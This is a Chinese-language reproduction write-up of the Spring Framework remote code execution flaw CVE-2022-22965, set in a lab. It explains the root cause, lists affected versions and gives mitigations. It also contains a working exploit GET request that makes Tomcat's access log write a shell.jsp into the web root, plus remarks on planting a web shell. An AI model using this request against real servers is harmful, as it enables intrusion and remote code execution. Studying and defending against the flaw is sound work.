漏洞原理
该漏洞是SpringFramework数据绑定的一个漏洞,如果后台方法中接受的参数为非基础类型,Spring会根据前端传入的请求正文中的参数的key值来查询与其名称所对应的getter和setter方法,攻击者利用这一特性修改了Tomcat的一个用于日志记录的类的属性,进而当Tomcat在进行写日志操作的时候,将攻击者传递的恶意代码写入指定目录的指定文件中。
影响范围
JDK>=9、Spring Framework <= 5.3.17
复现过程
启动环境后,打开地址,发现就是一个简单的白页。
上poc,可以直接将这个poc一次发完,也可以分为5此,进行发送。
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=sss&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1
打开shell.jsp页面,发现已经写入。如果要写java代码或者jsp代码,需要进行url编码。具体可以参考网上现有exp。
注意
在复现过程中,发现只能生成一份文件,当第一份文件创建完后,在该环境中不可以再次生成另一份不同名的文件。后续想要getshell,只可以在第一份生成的文件中通过继续增加的方式,写入shell。
如果想再次生成文件,需要将原来的环境删除,并再次启动。重复上面的操作。
(很疑惑是不是生成环境中也是这样?那岂不是说只要第一次文件写错,那这个洞岂不是用不了了。如果有大佬知道什么情况,希望可以指点下。)
修复建议
1、该漏洞仅在JDK9及以上才可以被利用,可以降低JDK版本至JDK8;
2、升级Tomcat的版本,从官网可以看到Apache Tomcat已经发布了10.0.20、9.0.62以及8.5.78版本,从Tomcat方面阻断该漏洞的利用链;
3、利用WAF、IPS等应用层的入侵检测设备,可以看到公开的EXP都是通过POST上传了jsp文件,而在参数中都带有class、classloader等字段,因此可以对这些字段进行过滤。
4、升级SpringFramework版本。
参考链接
Spring Framework远程代码执行漏洞(CVE-2022-22965):https://www.cnblogs.com/RichardYg/p/16350665.html
Vulfocus复现Spring框架远程命令执行漏洞(CNVD-2022-23942):https://blog.csdn.net/Aquarius_ego/article/details/124794818
Spring 框架远程代码执行漏洞(CVE-2022-22965):http://www.taodudu.cc/news/show-4655422.html?action=onClick